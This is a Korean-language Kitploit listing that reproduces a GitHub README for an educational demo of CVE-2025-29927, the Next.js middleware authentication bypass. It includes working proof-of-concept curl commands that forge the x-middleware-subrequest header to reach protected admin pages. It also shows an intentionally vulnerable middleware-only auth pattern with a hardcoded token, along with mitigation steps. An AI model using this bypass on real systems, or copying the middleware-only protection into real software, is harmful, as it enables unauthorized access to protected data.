Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
cve-2025-29927-nextjs — CVE-2025-29927의 교육용 데모로, 중대한 Next.js 미들웨어 인증 우회를 다룹니다. 취약한 관리자 패널, 개념 증명 익스플로잇 명령어, 보안 교육용 완화 지침을 포함합니다. | Kitploit
도구/GitHubGitHub/gitgudkrish/cve-2025-29927-nextjs
Vulnerability AnalysisWeb Application ExploitationWeb SecurityPenetration TestingAuthenticationLearning & Education
GitHubgitgudkrish/cve-2025-29927-nextjs

cve-2025-29927-nextjs

CVE-2025-29927의 교육용 데모로, 중대한 Next.js 미들웨어 인증 우회를 다룹니다. 취약한 관리자 패널, 개념 증명 익스플로잇 명령어, 보안 교육용 완화 지침을 포함합니다.

저장소 보기
23개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Himalaya Tech 관리자 패널 — CVE-2025-29927 데모

경고: 이 애플리케이션은 의도적으로 취약하게 만들어졌습니다. 교육 및 승인된 보안 연구 목적으로만 사용하세요. 공용 서버에 배포하지 마십시오.


이 데모에 대하여

이 앱은 Next.js 미들웨어의 심각한 인증 우회 취약점인 CVE-2025-29927(CVSS 9.1)을 시연합니다. 이 애플리케이션은 가상 회사 "Himalaya Tech Pvt. Ltd."의 현실적인 기업 관리자 패널을 시뮬레이션하여 우회의 영향을 시각적으로 설득력 있게 보여줍니다.

표시된 모든 직원 기록, API 키, 데이터베이스 자격 증명 및 기타 "민감한" 데이터는 전적으로 가상이며 모의 데이터입니다 — 교육 시연용으로만 생성되었습니다.


CVE-2025-29927 — 취약점 요약

필드세부 정보
CVE IDCVE-2025-29927
심각도심각 (CVSS 9.1)
영향 버전Next.js ≤ 14.2.29, Next.js ≤ 15.2.2
수정 버전Next.js 14.2.30, 15.2.3
유형HTTP 헤더 조작을 통한 미들웨어 인증 우회

근본 원인

Next.js는 내부 HTTP 헤더 x-middleware-subrequest를 사용하여 재귀적 미들웨어 호출을 추적하고 무한 루프를 방지합니다. 취약한 버전에서 공격자는 외부 요청에 이 헤더를 위조할 수 있습니다. 헤더가 존재하고 미들웨어 식별자와 일치하면 Next.js 런타임은 미들웨어 전체를 건너뛰며, 그 안에 정의된 모든 인증 로직도 건너뜁니다.

영향

경로를 보호하기 위해 middleware.ts에만 의존하는 모든 애플리케이션(일반적이고 권장되는 Next.js 패턴)이 취약합니다. 인증되지 않은 공격자는 단순히 하나의 HTTP 헤더를 추가하여 모든 보호된 페이지에 접근할 수 있습니다.


개념 증명

정상 요청 (차단됨 — /login으로 리디렉션)

root@kitploit:~
curl -v http://localhost:3000/admin
# → 307 리디렉션 ( /login )

우회 요청 (성공 — 전체 관리자 페이지 반환)

root@kitploit:~
curl -v \
  -H "x-middleware-subrequest: middleware" \
  http://localhost:3000/admin

# → 200 OK — 전체 관리자 대시보드 HTML 반환, 인증 불필요

중첩된 보호 경로 접근

root@kitploit:~
# 관리자 사용자 페이지
curl -H "x-middleware-subrequest: middleware" http://localhost:3000/admin/users

# "프로덕션 자격 증명"이 포함된 시스템 설정
curl -H "x-middleware-subrequest: middleware" http://localhost:3000/admin/settings

브라우저 사용 시 (Burp Suite / 브라우저 확장 프로그램 이용)

/admin/*에 대한 모든 요청에 요청 헤더 x-middleware-subrequest: middleware를 추가하면 미들웨어 검사가 건너뛰어집니다.


이 앱이 취약한 이유

middleware.ts가 유일한 보호 메커니즘입니다:

root@kitploit:~
// middleware.ts
export function middleware(request: NextRequest) {
  if (pathname.startsWith("/admin")) {
    const token = request.cookies.get("auth-token")?.value;
    if (!token || token !== "valid-session-xyz123") {
      return NextResponse.redirect(loginUrl); // ← 이 전체 함수가 건너뛰어집니다
    }
  }
  return NextResponse.next();
}

페이지 컴포넌트 자체(예: app/admin/page.tsx)에는 인증 검사가 없습니다 — 의도적으로, 미들웨어 전용 보호 패턴을 따르는 실제 애플리케이션을 반영하기 위함입니다.


설정 및 실행

사전 요구 사항

  • Node.js 18+
  • npm 또는 yarn

설치

root@kitploit:~
npm install

개발 서버 실행

root@kitploit:~
npm run dev

앱은 http://localhost:3000에서 사용할 수 있습니다.

경로

경로인증 필요설명
/아니오공개 랜딩 페이지
/login아니오로그인 폼
/admin예*민감한 데이터가 있는 관리자 대시보드
/admin/users예*사용자 관리
/admin/settings예*시스템 설정 및 자격 증명

*미들웨어로만 보호됨 — CVE-2025-29927에 의해 우회됩니다.

데모 자격 증명 (정상 로그인 흐름)

  • 이메일: [email protected]
  • 비밀번호: Admin@2024

완화 방안

  1. Next.js 업그레이드 (14.2.30+ 또는 15.2.3+).
  2. 심층 방어: 페이지 컴포넌트/라우트 핸들러 내부에 서버 측 인증 검사를 추가하고, 미들웨어에만 의존하지 마십시오. 미들웨어는 UX 최적화로 간주해야 하며, 보안 경계로 간주해서는 안 됩니다.
  3. 리버스 프록시/CDN에서 헤더 제거: 요청이 Next.js에 도달하기 전에 헤더를 제거하십시오.

면책 조항

이 애플리케이션은 교육 목적으로만 제공되며, 특히 윤리적 보안 과정 컨텍스트에서 CVE-2025-29927의 실제 영향을 시연하기 위해 제공됩니다. 모든 데이터(직원 기록, API 키, 자격 증명)는 전적으로 가상입니다. 이 데모 애플리케이션이나 여기서 시연된 기술을 소유하지 않거나 명시적 테스트 권한이 없는 시스템에 대해 사용하지 마십시오.

도구 다운로드